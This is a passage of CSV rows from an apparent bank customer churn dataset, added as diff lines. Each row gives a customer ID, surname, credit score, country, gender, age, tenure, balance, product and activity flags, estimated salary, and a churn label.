+85,15738751,Beit,493,France,Female,46,4,0,2,1,0,1907.66,0 +86,15805254,Ndukaku,652,Spain,Female,75,10,0,2,1,1,114675.75,0 +87,15762418,Gant,750,Spain,Male,22,3,121681.82,1,1,0,128643.35,1 +88,15625759,Rowley,729,France,Male,30,9,0,2,1,0,151869.35,0 +89,15622897,Sharpe,646,France,Female,46,4,0,3,1,0,93251.42,1 +90,15767954,Osborne,635,Germany,Female,28,3,81623.67,2,1,1,156791.36,0 +91,15757535,Heap,647,Spain,Female,44,5,0,3,1,1,174205.22,1 +92,15731511,Ritchie,808,France,Male,45,7,118626.55,2,1,0,147132.46,0 +93,15809248,Cole,524,France,Female,36,10,0,2,1,0,109614.57,0 +94,15640635,Capon,769,France,Male,29,8,0,2,1,1,172290.61,0 +95,15676966,Capon,730,Spain,Male,42,4,0,2,0,1,85982.47,0 +96,15699461,Fiorentini,515,Spain,Male,35,10,176273.95,1,0,1,121277.78,0 +97,15738721,Graham,773,Spain,Male,41,9,102827.44,1,0,1,64595.25,0 +98,15693683,Yuille,814,Germany,Male,29,8,97086.4,2,1,1,197276.13,0 +99,15604348,Allard,710,Spain,Male,22,8,0,2,0,0,99645.04,0 +100,15633059,Fanucci,413,France,Male,34,9,0,2,0,0,6534.18,0 +101,15808582,Fu,665,France,Female,40,6,0,1,1,1,161848.03,0 +102,15743192,Hung,623,France,Female,44,6,0,2,0,0,167162.43,0 +103,15580146,Hung,738,France,Male,31,9,82674.15,1,1,0,41970.72,0 +104,15776605,Bradley,528,Spain,Male,36,7,0,2,1,0,60536.56,0 +105,15804919,Dunbabin,670,Spain,Female,65,1,0,1,1,1,177655.68,1 +106,15613854,Mauldon,622,Spain,Female,46,4,107073.27,2,1,1,30984.59,1 +107,15599195,Stiger,582,Germany,Male,32,1,88938.62,1,1,1,10054.53,0 +108,15812878,Parsons,785,Germany,Female,36,2,99806.85,1,0,1,36976.52,0 +109,15602312,Walkom,605,Spain,Male,33,5,150092.8,1,0,0,71862.79,0 +110,15744689,T'ang,479,Germany,Male,35,9,92833.89,1,1,0,99449.86,1 +111,15803526,Eremenko,685,Germany,Male,30,3,90536.81,1,0,1,63082.88,0 +112,15665790,Rowntree,538,Germany,Male,39,7,108055.1,2,1,0,27231.26,0 +113,15715951,Thorpe,562,France,Male,42,2,100238.35,1,0,0,86797.41,0 +114,15591100,Chiemela,675,Spain,Male,36,9,106190.55,1,0,1,22994.32,0 +115,15609618,Fanucci,721,Germany,Male,28,9,154475.54,2,0,1,101300.94,1 +116,15675522,Ko,628,Germany,Female,30,9,132351.29,2,1,1,74169.13,0 +117,15705512,Welch,668,Germany,Female,37,6,167864.4,1,1,0,115638.29,0 +118,15698028,Duncan,506,France,Female,41,1,0,2,1,0,31766.3,0 +119,15661670,Chidozie,524,Germany,Female,31,8,107818.63,1,1,0,199725.39,1 +120,15600781,Wu,699,Germany,Male,34,4,185173.81,2,1,0,120834.48,0 +121,15682472,Culbreth,828,France,Male,34,8,129433.34,2,0,0,38131.77,0 +122,15580203,Kennedy,674,Spain,Male,39,6,120193.42,1,0,0,100130.95,0 +123,15690673,Cameron,656,France,Female,39,6,0,2,1,0,141069.88,0 +124,15760085,Calabresi,684,Germany,Female,48,10,126384.42,1,1,1,198129.36,0 +125,15779659,Zetticci,625,France,Female,28,3,0,1,0,0,183646.41,0 +126,15627360,Fuller,432,France,Male,42,9,152603.45,1,1,0,110265.24,1 +127,15671137,MacDonald,549,France,Female,52,1,0,1,0,1,8636.05,1 +128,15782688,Piccio,625,Germany,Male,56,0,148507.24,1,1,0,46824.08,1 +129,15575492,Kennedy,828,France,Female,41,7,0,2,1,0,171378.77,0 +130,15591607,Fernie,770,France,Male,24,9,101827.07,1,1,0,167256.35,0 +131,15740404,He,758,France,Female,34,3,0,2,1,1,124226.16,0 +132,15718369,Kaodilinakachukwu,795,Germany,Female,33,9,130862.43,1,1,1,114935.21,0 +133,15677871,Cocci,687,France,Male,38,9,122570.87,1,1,1,35608.88,0 +134,15642004,Alekseeva,686,France,Male,25,1,0,2,0,1,16459.37,0 +135,15712543,Chinweike,789,Germany,Male,39,7,124828.46,2,1,1,124411.08,0 +136,15584518,Arthur,589,Germany,Female,50,5,144895.05,2,1,1,34941.23,0 +137,15802381,Li,461,Germany,Female,34,5,63663.93,1,0,1,167784.28,0 +138,15610156,Ma,637,France,Male,40,2,133463.1,1,0,1,93165.34,0 +139,15594408,Chia,584,Spain,Female,48,2,213146.2,1,1,0,75161.25,1 +140,15640905,Vasin,579,Spain,Female,35,1,129490.36,2,0,1,8590.83,1 +141,15698932,Groves,756,Germany,Male,44,10,137452.09,1,1,0,189543.9,0 +142,15724944,Tien,663,France,Male,34,7,0,2,1,1,180427.24,0 +143,15628145,Forwood,682,France,Female,43,5,125851.93,1,1,1,193318.33,0 +144,15713483,Greeves,793,Spain,Male,52,2,0,1,1,0,159123.82,1 +145,15612350,Taylor,691,France,Female,31,5,40915.55,1,1,0,126213.84,1 +146,15800703,Madukwe,485,Spain,Female,21,5,113157.22,1,1,1,54141.5,0 +147,15705707,Bennelong,635,Spain,Female,29,8,138296.94,2,1,0,141075.51,0 +148,15754105,Olisanugo,650,France,Male,37,5,106967.18,1,0,0,24495.03,0 +149,15703264,Chukwufumnanya,735,France,Male,44,9,120681.63,1,1,0,74836.34,0 +150,15794413,Harris,416,France,Male,32,0,0,2,0,1,878.87,0 +151,15650237,Morgan,754,Spain,Female,32,7,0,2,1,0,89520.75,0 +152,15759618,Alexeeva,535,France,Female,48,9,0,1,1,0,149892.79,1 +153,15811589,Metcalfe,716,Spain,Male,42,8,0,2,1,0,180800.42,0 +154,15689044,Humphries,539,France,Male,37,2,127609.59,1,1,0,98646.22,0 +155,15709368,Milne,614,France,Female,43,6,0,2,1,1,109041.53,0 +156,15679145,Chou,706,Spain,Male,57,7,0,1,1,0,17941.16,1 +157,15655007,Li,758,France,Female,33,7,0,2,0,0,82996.47,0 +158,15623595,Clayton,586,Spain,Female,28,2,0,2,1,1,92067.35,0 +159,15589975,Maclean,646,France,Female,73,6,97259.25,1,0,1,104719.66,0 +160,15804017,Chigolum,631,Germany,Female,33,4,123246.7,1,0,0,112687.57,0 +161,15692132,Wilkinson,717,Spain,Female,22,6,101060.25,1,0,1,84699.56,0 +162,15641122,Wei,684,France,Male,30,2,0,2,1,0,83473.82,0 +163,15630910,Treacy,800,France,Female,49,7,108007.36,1,0,0,47125.11,0 +164,15680772,Hu,721,Spain,Female,36,2,0,2,1,1,106977.8,0 +165,15658929,Taverner,683,Spain,Male,29,0,133702.89,1,1,0,55582.54,1 +166,15585388,Sherman,660,Germany,Male,31,9,125189.75,2,1,1,139874.43,0 +167,15724623,Taubman,704,Germany,Female,24,7,113034.22,1,1,0,162503.48,1 +168,15588537,Robinson,615,Spain,Female,41,9,109013.23,1,1,0,196499.96,0 +169,15574692,Pinto,667,Spain,Female,39,2,0,2,1,0,40721.24,1 +170,15611325,Wood,682,Germany,Male,24,9,57929.81,2,0,0,53134.3,0 +171,15587562,Hawkins,484,France,Female,29,4,130114.39,1,1,0,164017.89,0 +172,15613172,Sun,628,Germany,Male,27,5,95826.49,2,1,0,155996.96,0 +173,15651022,Yost,480,Germany,Male,44,10,129608.57,1,1,0,5472.7,1 +174,15586310,Ting,578,France,Male,30,4,169462.09,1,1,0,112187.11,0 +175,15625524,Rowe,512,France,Male,40,5,0,2,1,1,146457.83,0 +176,15755209,Fu,484,Spain,Female,35,7,133868.21,1,1,1,27286.1,0 +177,15645248,Ho,510,France,Female,30,0,0,2,1,1,130553.47,0 +178,15790355,Okechukwu,606,Germany,Male,36,5,190479.48,2,0,0,179351.89,0 +179,15762615,Campbell,597,Spain,Female,40,8,101993.12,1,0,1,94774.12,0 +180,15625426,Ashbolt,754,Germany,Female,55,3,161608.81,1,1,0,8080.85,1 +181,15716334,Rozier,850,Spain,Female,45,2,122311.21,1,1,1,19482.5,0 +182,15789669,Hsia,510,France,Male,65,2,0,2,1,1,48071.61,0 +183,15621075,Ogbonnaya,778,Germany,Female,45,1,162150.42,2,1,0,174531.27,0 +184,15810845,T'ang,636,France,Male,42,2,0,2,1,1,55470.78,0 +185,15719377,Cocci,804,France,Female,50,4,0,1,1,1,8546.87,1 +186,15654506,Chang,514,France,Male,32,8,0,2,1,0,95857.18,0 +187,15771977,T'ao,730,France,Female,39,1,99010.67,1,1,0,194945.8,0 +188,15708710,Ford,525,Spain,Female,37,0,0,1,0,1,131521.72,0 +189,15726676,Marshall,616,Spain,Male,30,5,0,2,0,1,196108.51,0 +190,15587421,Tsai,687,Germany,Female,34,7,111388.18,2,1,0,148564.76,0 +191,15726931,Onwumelu,715,France,Female,41,8,56214.85,2,0,0,92982.61,1 +192,15771086,Graham,512,France,Female,36,3,84327.77,2,1,0,17675.36,0 +193,15756850,Golovanov,479,France,Male,40,1,0,2,0,0,114996.43,0 +194,15702741,Potts,601,France,Male,32,8,93012.89,1,1,0,86957.42,0 +195,15679200,Crawford,580,Spain,Male,29,9,61710.44,2,1,0,128077.8,0 +196,15594815,Aleshire,807,France,Male,35,3,174790.15,1,1,1,600.36,0 +197,15635905,Moran,616,Spain,Female,32,6,0,2,1,1,43001.46,0 +198,15777892,Samsonova,721,Germany,Male,37,3,107720.64,1,1,1,158591.12,0 +199,15656176,Jenkins,501,France,Male,57,10,0,2,1,1,47847.19,0 +200,15811127,Volkov,521,France,Male,35,6,96423.84,1,1,0,10488.44,0 +201,15604482,Chiemezie,850,Spain,Male,30,2,141040.01,1,1,1,5978.2,0 +202,15622911,Jude,759,France,Male,42,4,105420.18,1,0,1,121409.06,0 +203,15600974,He,516,Spain,Male,50,5,0,1,0,1,146145.93,1 +204,15727868,Onuora,711,France,Female,38,2,129022.06,2,1,1,14374.86,1 +205,15627801,Ginikanwa,512,Spain,Male,33,3,176666.62,1,1,0,94670.77,0 +206,15773039,Ku,550,France,Male,37,3,0,1,1,1,179670.31,0 +207,15755262,McDonald,608,Spain,Female,41,3,89763.84,1,0,0,199304.74,1 +208,15679531,Collins,618,France,Male,34,5,134954.53,1,1,1,151954.39,0 +209,15684181,Hackett,643,France,Male,45,5,0,1,1,0,142513.5,1 +210,15612087,Dike,671,France,Male,45,2,106376.85,1,0,1,158264.62,0 +211,15752047,Trevisano,689,Germany,Male,33,2,161814.64,2,1,0,169381.9,0 +212,15624592,Tan,603,France,Male,31,8,0,2,1,1,169915.02,0 +213,15573152,Glassman,620,France,Female,41,9,0,2,0,0,88852.47,0 +214,15594917,Miller,676,France,Female,34,1,63095.01,1,1,1,40645.81,0 +215,15785542,Kornilova,572,Germany,Male,26,4,118287.01,2,0,0,60427.3,0 +216,15723488,Watson,668,Germany,Male,47,7,106854.21,1,0,1,157959.02,1 +217,15680920,Marchesi,695,France,Male,46,7,49512.55,1,1,0,133007.34,0 +218,15786308,Millar,730,Spain,Female,33,9,0,2,0,0,176576.62,0 +219,15659366,Shih,807,France,Male,43,1,105799.32,2,1,0,34888.04,1 +220,15774854,Fuller,592,France,Male,54,8,0,1,1,1,28737.71,1 +221,15725311,Hay,726,France,Female,31,9,114722.05,2,1,1,98178.57,0 +222,15787155,Yang,514,Spain,Male,30,7,0,1,0,1,125010.24,0 +223,15727829,McIntyre,567,France,Male,42,2,0,2,1,1,167984.61,0 +224,15733247,Stevenson,850,France,Male,33,10,0,1,1,0,4861.72,1 +225,15568748,Poole,671,Germany,Male,45,6,99564.22,1,1,1,108872.45,1 +226,15699029,Bagley,670,France,Male,37,4,170557.91,2,1,0,198252.88,0 +227,15774393,Ch'ien,694,France,Female,30,9,0,2,1,1,26960.31,0 +228,15676895,Cattaneo,547,Germany,Female,39,6,74596.15,3,1,1,85746.52,1 +229,15637753,O'Sullivan,751,Germany,Male,50,2,96888.39,1,1,0,77206.25,1 +230,15605461,Lucas,594,Germany,Female,29,3,130830.22,1,1,0,61048.53,0 +231,15808473,Ringrose,673,France,Male,72,1,0,2,0,1,111981.19,0 +232,15627000,Freeman,610,France,Male,40,0,0,2,1,0,62232.6,0 +233,15787174,Sergeyev,512,France,Female,37,1,0,2,0,1,156105.03,0 +234,15723886,Fiore,767,Germany,Male,20,3,119714.25,2,0,1,150135.38,0 +235,15704769,Smith,585,France,Female,67,5,113978.97,2,0,1,93146.11,0 +236,15772896,Dumetochukwu,763,Germany,Male,42,6,100160.75,1,1,0,33462.94,1 +237,15711540,Pacheco,712,France,Female,29,2,0,1,1,1,144375,0 +238,15764866,Synnot,539,Germany,Female,43,3,116220.5,3,1,0,55803.96,1 +239,15794056,Johnston,668,France,Female,46,2,0,3,1,0,89048.46,1 +240,15795149,Stevens,703,France,Male,28,2,81173.83,2,0,1,162812.16,0 +241,15812009,Grant,662,Spain,Male,38,4,0,2,1,0,136259.65,0 +242,15651001,Tsao,725,Germany,Female,39,5,116803.8,1,1,0,124052.97,0 +243,15813844,Barnes,703,France,Male,37,8,105961.68,2,0,1,74158.8,0 +244,15596175,McIntosh,659,Germany,Male,67,6,117411.6,1,1,1,45071.09,1 +245,15576269,Madison,523,Spain,Male,34,7,0,2,1,0,62030.06,0 +246,15797219,Ifesinachi,635,France,Female,40,10,123497.58,1,1,0,131953.23,1 +247,15685500,Glazkov,772,Germany,Male,26,7,152400.51,2,1,0,79414,0 +248,15599792,Dimauro,545,France,Female,26,1,0,2,1,1,199638.56,0 +249,15657566,Wieck,634,Germany,Male,24,8,103097.85,1,1,1,157577.29,0 +250,15772423,Liao,739,Germany,Male,54,8,126418.14,1,1,0,134420.75,1 +251,15628112,Hughes,771,Germany,Female,36,5,77846.9,1,0,0,99805.99,0 +252,15753754,Morrison,587,Spain,Female,34,1,0,2,1,1,97932.68,0 +253,15793726,Matveyeva,681,France,Female,79,0,0,2,0,1,170968.99,0 +254,15694717,Ku,544,Germany,Male,37,2,79731.91,1,1,1,57558.95,0 +255,15665834,Cheatham,696,Spain,Male,28,8,0,1,0,0,176713.47,0 +256,15765297,Yao,766,Spain,Male,41,0,0,2,0,1,34283.23,0 +257,15636684,Kirkland,727,France,Male,34,10,0,2,1,1,198637.34,0 +258,15592979,Rose,671,Germany,Female,34,6,37266.67,2,0,0,156917.12,0 +259,15750803,Jess,693,France,Female,30,6,127992.25,1,1,1,50457.2,0 +260,15607178,Welch,850,Germany,Male,38,3,54901.01,1,1,1,140075.55,0 +261,15713853,Ifeajuna,732,Germany,Male,42,9,108748.08,2,1,1,65323.11,0 +262,15673481,Morton,726,Spain,Female,48,6,99906.19,1,1,0,64323.24,0 +263,15686776,Rossi,557,France,Female,32,6,184686.41,2,1,0,14956.44,0 +264,15673693,Reppert,682,France,Female,26,0,110654.02,1,0,1,111879.21,0 +265,15700696,Kang,738,Spain,Male,31,9,79019.8,1,1,1,18606.23,0 +266,15813163,Ch'iu,531,Spain,Female,36,9,99240.51,1,1,0,123137.01,0 +267,15653857,Wallis,498,France,Male,34,2,0,2,1,1,148528.24,0 +268,15777076,Clark,651,France,Male,36,7,0,2,1,0,13898.31,0 +269,15717398,Fielding,549,Spain,Female,39,7,0,1,0,0,81259.25,1 +270,15799217,Zetticci,791,Germany,Female,35,7,52436.2,1,1,0,161051.75,0 +271,15787071,Dulhunty,650,Spain,Male,41,9,0,2,0,1,191599.67,0 +272,15619955,Bevington,733,Germany,Male,34,3,100337.96,3,1,0,48559.19,1 +273,15796505,Boyle,811,Germany,Female,34,1,149297.19,2,1,1,186339.74,0 +274,15725166,Newton,707,France,Male,30,8,0,2,1,0,33159.37,0 +275,15800116,Bowman,712,Germany,Male,28,4,145605.44,1,0,1,93883.53,0 +276,15758685,Dubinina,706,Spain,Female,37,7,0,2,1,1,110899.3,0 +277,15694456,Toscani,756,France,Male,62,3,0,1,1,1,11199.04,1 +278,15767339,Chiazagomekpere,777,France,Female,53,10,0,2,1,0,189992.97,0 +279,15683562,Allen,646,France,Male,35,6,84026.86,1,0,1,164255.69,0 +280,15782210,K'ung,714,France,Male,46,1,0,1,1,0,152167.79,1 +281,15668893,Wilsmore,782,France,Male,39,8,0,2,1,1,33949.67,0 +282,15669169,Hargreaves,775,Spain,Male,29,10,0,2,1,1,68143.93,0 +283,15643024,Huang,479,Germany,Male,35,4,138718.92,1,1,1,47251.79,1 +284,15699389,Ch'ien,807,France,Male,42,7,118274.71,1,1,1,25885.72,0 +285,15708608,Wallwork,799,France,Female,22,8,174185.98,2,0,1,192633.85,0 +286,15626144,Chu,675,France,Male,40,7,113208.86,2,1,0,34577.36,0 +287,15573112,Kang,602,Spain,Male,29,5,103907.28,1,1,0,161229.84,0 +288,15790678,Davidson,475,France,Female,32,8,119023.28,1,1,0,100816.29,0 +289,15727556,O'Donnell,744,Spain,Female,26,5,166297.89,1,1,1,181694.44,0 +290,15697307,Nnachetam,588,Spain,Male,34,10,0,2,1,0,79078.91,0 +291,15652266,Chidiebele,703,Germany,Male,42,9,63227,1,0,1,137316.32,0 +292,15607098,Ahmed,747,Spain,Female,41,5,94521.17,2,1,0,194926.86,0 +293,15655774,Booth,583,France,Male,27,7,0,2,1,0,51285.49,0 +294,15590241,Chuang,750,Spain,Female,34,9,112822.26,1,0,0,150401.53,1 +295,15785819,Shao,681,France,Male,38,3,0,2,1,1,112491.96,0 +296,15723654,Tsao,773,France,Male,25,2,135903.33,1,1,0,73656.38,0 +297,15774510,Tien,714,France,Female,31,4,125169.26,1,1,1,106636.89,0 +298,15684173,Chang,687,Spain,Female,44,7,0,3,1,0,155853.52,1 +299,15650068,Johnson,511,France,Male,58,0,149117.31,1,1,1,162599.51,0 +300,15811490,French,627,France,Male,33,5,0,2,1,1,103737.82,0 +301,15803976,Efremov,694,France,Female,31,10,0,2,1,0,160990.27,0 +302,15682541,Hartley,616,Spain,Female,36,6,132311.71,1,0,0,15462.84,0 +303,15695699,Calabrese,687,France,Male,35,8,0,2,1,0,10334.05,0 +304,15624188,Chiu,712,France,Female,33,6,0,2,1,1,190686.16,0 +305,15812191,Brennan,553,France,Male,33,4,118082.89,1,0,0,94440.45,0 +306,15636673,Onwuatuegwu,667,France,Male,31,1,119266.69,1,1,1,28257.63,0 +307,15594898,Hewitt,731,France,Male,43,2,0,1,1,1,170034.95,1 +308,15660211,Shih,629,Germany,Male,35,7,156847.29,2,1,0,31824.29,0 +309,15773972,Balashov,614,France,Male,50,4,137104.47,1,1,0,127166.49,1 +310,15746726,Doyle,438,Germany,Male,31,8,78398.69,1,1,0,44937.01,0 +311,15712287,Pokrovskii,652,France,Female,80,4,0,2,1,1,188603.07,0 +312,15702919,Collins,729,Germany,Male,30,6,63669.42,1,1,0,145111.37,0 +313,15674398,Russo,642,France,Male,38,3,0,2,0,0,171463.83,0 +314,15797960,Skinner,806,Germany,Female,59,0,135296.33,1,1,0,182822.5,0 +315,15631868,Robertson,744,Spain,Male,36,2,153804.44,1,1,1,87213.33,0 +316,15581539,Atkinson,474,Spain,Male,37,3,0,2,0,0,57175.32,0 +317,15662736,Doyle,559,France,Male,49,2,147069.78,1,1,0,120540.83,1 +318,15666252,Ritchie,706,Spain,Male,42,9,0,2,1,1,28714.34,0 +319,15677512,McEncroe,628,Spain,Female,22,3,0,1,1,0,85426.28,0 +320,15626114,Pearson,429,France,Male,24,4,95741.75,1,1,0,46170.75,0 +321,15810834,Gordon,525,Spain,Female,57,2,145965.33,1,1,1,64448.36,0 +322,15678910,Ts'ai,680,France,Female,30,8,141441.75,1,1,1,16278.97,0 +323,15694408,Lung,749,France,Male,40,1,139290.41,1,1,0,182855.42,1 +324,15585215,Yuan,763,France,Female,31,4,0,2,0,0,50404.72,0 +325,15682757,Pardey,734,France,Male,30,3,0,2,1,0,107640.25,0 +326,15736601,Tai,716,France,Male,35,4,144428.87,1,1,0,134132.65,0 +327,15601848,Scott,594,France,Male,35,2,0,2,1,0,103480.69,0 +328,15736008,Hunter,644,France,Female,46,9,95441.27,1,1,0,108761.05,1 +329,15669064,Mazzanti,671,Germany,Male,35,1,144848.74,1,1,1,179012.3,0 +330,15624528,L?,664,Germany,Male,26,7,116244.14,2,1,1,95145.14,0 +331,15598493,Beach,656,France,Male,50,7,0,2,0,1,72143.44,0 +332,15601274,Hsieh,667,Spain,Female,40,1,146502.07,1,1,0,19162.89,0 +333,15702669,Faulkner,663,Germany,Male,44,2,117028.6,2,0,1,144680.18,0 +334,15728669,Knowles,584,Germany,Female,30,8,112013.81,1,1,0,177772.03,1 +335,15742668,Day,626,Spain,Female,37,6,108269.37,1,1,0,5597.94,0 +336,15697441,Hsueh,485,France,Male,29,7,182123.79,1,1,0,116828.51,1 +337,15740476,Tsao,659,Germany,Female,32,3,150923.74,2,0,1,174652.51,0 +338,15648064,Kennedy,649,France,Male,33,2,0,2,1,0,2010.98,0 +339,15636624,Nwabugwu,805,Spain,Female,39,5,165272.13,1,1,0,14109.85,1 +340,15807923,Young,716,Germany,Female,39,10,115301.31,1,1,0,43527.4,1 +341,15745844,Kerr,642,Germany,Female,40,6,129502.49,2,0,1,86099.23,1 +342,15786170,Tien,659,France,Male,31,4,118342.26,1,0,0,161574.19,0 +343,15681081,Marrero,545,Spain,Female,47,5,0,2,1,1,38970.14,0 +344,15684484,White,543,France,Male,22,8,0,2,0,0,127587.22,0 +345,15785869,Pisano,718,France,Female,25,7,0,2,1,0,30380.12,0 +346,15763859,Brown,840,France,Female,43,7,0,2,1,0,90908.95,0 +347,15658935,Freeman,630,Germany,Female,34,9,106937.05,2,1,0,138275.01,0 +348,15747358,Russell,643,Germany,Male,59,3,170331.37,1,1,1,32171.79,0 +349,15735203,Seleznyov,654,Germany,Female,32,1,114510.85,1,1,1,126143.23,0 +350,15576256,Yusupova,582,France,Male,39,5,0,2,1,1,129892.93,0 +351,15659420,Foley,659,Spain,Male,32,3,107594.11,2,1,1,102416.84,0 +352,15593365,Shih,762,Spain,Male,39,2,81273.13,1,1,1,18719.67,0 +353,15777352,Ikedinachukwu,568,Spain,Female,32,7,169399.6,1,1,0,61936.22,0 +354,15812007,Power,670,Spain,Male,25,6,0,2,1,1,78358.94,0 +355,15625461,Amos,613,France,Female,45,1,187841.99,2,1,1,147224.27,0 +356,15739438,Reed,539,France,Male,30,0,0,2,1,0,160979.66,0 +357,15611759,Simmons,850,Spain,Female,57,8,126776.3,2,1,1,132298.49,0 +358,15661629,Ricci,522,Spain,Male,34,9,126436.29,1,1,0,174248.52,1 +359,15633950,Yen,737,France,Male,41,1,101960.74,1,1,1,123547.28,0 +360,15592386,Campbell,520,France,Male,58,3,0,2,0,1,32790.02,0 +361,15803716,West,706,Spain,Male,28,3,0,2,0,1,181543.67,0 +362,15696674,Robinson,643,Germany,Female,45,2,150842.93,1,0,1,2319.96,1 +363,15706365,Bianchi,648,France,Female,50,9,102535.57,1,1,1,189543.19,0 +364,15745088,Chen,443,Germany,Female,29,9,99027.61,2,1,0,10940.4,0 +365,15676715,Madukaego,640,France,Male,68,9,0,2,1,1,199493.38,0 +366,15613085,Ibrahimova,628,Spain,Female,33,3,0,1,1,1,188193.25,0 +367,15633537,Nolan,540,Germany,Female,42,9,87271.41,2,1,0,172572.64,0 +368,15594720,Scott,460,Germany,Female,35,8,102742.91,2,1,1,189339.6,0 +369,15684042,Blair,636,Germany,Male,34,2,40105.51,2,0,1,53512.16,0 +370,15583303,Monaldo,593,France,Female,29,2,152265.43,1,1,0,34004.44,0 +371,15611579,Sutherland,801,Spain,Male,42,4,141947.67,1,1,1,10598.29,0 +372,15774696,Cole,640,Germany,Female,75,1,106307.91,2,0,1,113428.77,0 +373,15694506,Briggs,611,Germany,Male,31,0,107884.81,2,1,1,183487.98,0 +374,15688074,Gregory,802,Germany,Male,31,1,125013.72,1,1,1,187658.09,0 +375,15759537,Bianchi,717,Germany,Male,35,7,58469.37,2,1,1,172459.39,0 +376,15758449,Angelo,769,France,Female,39,8,0,1,0,1,21016,0 +377,15583456,Gardiner,745,Germany,Male,45,10,117231.63,3,1,1,122381.02,1 +378,15667871,Kerr,572,Spain,Male,35,4,152390.26,1,1,0,128123.66,0 +379,15677371,Ko,629,Spain,Female,30,2,34013.63,1,1,0,19570.63,0 +380,15629677,Distefano,687,Spain,Female,39,2,0,3,0,0,188150.6,1 +381,15713578,Farrell,483,France,Female,50,9,0,2,1,1,111020.24,0 +382,15591509,Milano,690,France,Male,36,7,101583.11,2,1,0,123775.15,0 +383,15568240,Ting,492,Germany,Female,30,10,77168.87,2,0,1,146700.22,0 +384,15622993,Boyd,709,Germany,Male,28,8,124695.72,2,1,0,145251.35,0 +385,15689294,Onyemaechi,705,Germany,Male,44,3,105934.96,1,1,0,82463.69,0 +386,15720910,Black,560,France,Female,66,9,0,1,1,1,15928.49,0 +387,15721181,Oliver,611,Spain,Male,46,6,0,2,1,0,45886.33,0 +388,15776433,Greco,730,Spain,Male,62,2,0,2,1,1,186489.95,0 +389,15748936,Whitehead,709,Spain,Female,45,2,0,2,0,1,162922.65,0 +390,15717225,Ikemefuna,544,France,Female,21,10,161525.96,2,1,0,9262.77,0 +391,15685226,Morrison,712,Germany,Female,29,7,147199.07,1,1,1,84932.4,0 +392,15785611,Onyeoruru,752,Germany,Male,38,3,183102.29,1,1,1,71557.12,0 +393,15573456,Cunningham,648,Spain,Male,46,9,127209,2,1,0,77405.95,1 +394,15684548,Demidov,556,Spain,Male,38,8,0,2,0,0,417.41,1 +395,15620505,Celis,594,Spain,Female,24,0,97378.54,1,1,1,71405.17,0 +396,15807432,Cheng,645,Germany,Female,37,2,136925.09,2,0,1,153400.24,0 +397,15584766,Knight,557,France,Male,33,3,54503.55,1,1,1,371.05,0 +398,15612187,Morin,547,Germany,Male,32,8,155726.85,1,1,0,67789.99,0 +399,15762218,Mills,701,France,Female,39,9,0,2,0,1,145894.9,0 +400,15646372,Outhwaite,616,France,Female,66,1,135842.41,1,1,0,183840.51,1 +401,15690452,Tung,605,France,Male,52,1,63349.75,1,1,0,108887.44,0 +402,15747795,Pai,593,Germany,Female,38,4,129499.42,1,1,1,154071.27,0 +403,15781589,Carpenter,751,Spain,Male,52,8,0,2,0,1,179291.85,0 +404,15732674,Fennell,443,Spain,Male,36,6,70438.01,2,0,1,56937.43,0 +405,15642291,Fontaine,685,France,Male,23,8,0,2,1,1,112239.03,0 +406,15692761,Pratt,718,France,Male,36,9,0,1,1,0,45909.87,0 +407,15578045,Mitchell,538,Spain,Female,49,9,141434.04,1,0,0,173779.25,1 +408,15745354,Franklin,611,Spain,Female,37,4,0,2,1,0,125696.26,0 +409,15701376,K'ung,668,Germany,Male,37,10,152958.29,2,1,1,159585.61,0 +410,15691625,Ko,537,Germany,Female,41,3,138306.34,1,1,0,106761.47,0 +411,15566594,McKenzie,709,Spain,Male,23,10,0,2,0,0,129590.18,0 +412,15760431,Pino,850,France,Male,38,1,0,2,1,1,80006.65,0 +413,15686302,Fisk,745,Spain,Female,31,3,124328.84,1,1,1,140451.52,0 +414,15801559,Chiang,693,Germany,Female,41,9,181461.48,3,1,1,187929.43,1 +415,15810432,Moseley,795,Spain,Male,35,8,0,2,1,0,167155.36,0 +416,15809616,Hsiung,626,Spain,Male,26,8,0,2,0,0,191420.71,0 +417,15720559,Heath,487,Germany,Female,61,5,110368.03,1,0,0,11384.45,1 +418,15695632,Dellucci,556,France,Female,39,9,89588.35,1,1,1,94898.1,0 +419,15659843,Li,643,France,Female,46,6,0,2,0,0,106781.59,0 +420,15615624,De Salis,605,France,Female,28,6,0,2,0,0,159508.52,0 +421,15810418,T'ang,756,Germany,Female,60,3,115924.89,1,1,0,93524.19,1 +422,15716186,Richardson,586,France,Female,38,2,0,2,1,0,87168.46,0 +423,15674551,Fitch,535,Germany,Male,40,7,111756.5,1,1,0,8128.32,1 +424,15622834,Stevenson,678,France,Female,35,4,0,1,1,0,125518.32,0 +425,15566111,Estes,596,France,Male,39,9,0,1,1,0,48963.59,0 +426,15784597,Lattimore,648,France,Male,26,9,162923.85,1,1,0,98368.24,0 +427,15652883,Chung,492,Germany,Male,39,10,124576.65,2,1,0,148584.61,0 +428,15806964,Utz,702,France,Male,45,0,80793.58,1,1,1,27474.81,0 +429,15576313,Wei,486,Germany,Female,40,9,71340.09,1,1,0,76192.21,0 +430,15806467,Boyle,568,Germany,Male,40,1,99282.63,1,0,0,134600.94,1 +431,15597602,Nwachinemelu,619,Germany,Male,57,3,137946.39,1,1,1,72467.99,1 +432,15743040,Kuznetsova,724,Germany,Male,41,2,127892.57,2,0,1,199645.45,0 +433,15705521,Pisani,548,Germany,Female,33,0,101084.36,1,1,0,42749.85,0 +434,15595039,Manna,545,Germany,Female,37,8,114754.08,1,1,0,136050.44,1 +435,15799384,Collier,683,France,Male,33,8,0,1,0,0,73564.44,0 +436,15581197,Ricci,762,France,Female,51,3,99286.98,1,0,1,85578.63,0 +437,15693737,Carr,627,Germany,Female,30,4,79871.02,2,1,0,129826.89,0 +438,15624623,Hs?,516,France,Male,35,10,104088.59,2,0,0,119666,0 +439,15783501,Findlay,800,France,Female,38,2,168190.33,2,1,0,68052.08,0 +440,15690134,Hughes,464,Germany,Female,42,3,85679.25,1,1,1,164104.74,0 +441,15782735,Chukwuemeka,626,France,Female,35,3,0,1,0,0,80190.36,0 +442,15611088,Genovese,790,France,Female,31,9,0,2,1,0,84126.75,0 +443,15672145,Swift,534,France,Female,34,7,121551.58,2,1,1,70179,0 +444,15732628,Ugoji,745,France,Male,46,2,122220.19,1,1,1,118024.1,0 +445,15787470,Parkinson,553,Spain,Male,47,3,116528.15,1,0,0,145704.19,1 +446,15803406,Ross,748,France,Female,26,1,77780.29,1,0,1,183049.41,0 +447,15730460,Oleary,722,France,Male,37,2,0,1,0,0,120906.83,0 +448,15644572,Turnbull,501,France,Male,40,4,125832.2,1,1,1,100433.83,0 +449,15694860,Uspensky,675,France,Female,38,6,68065.8,1,0,0,138777,1 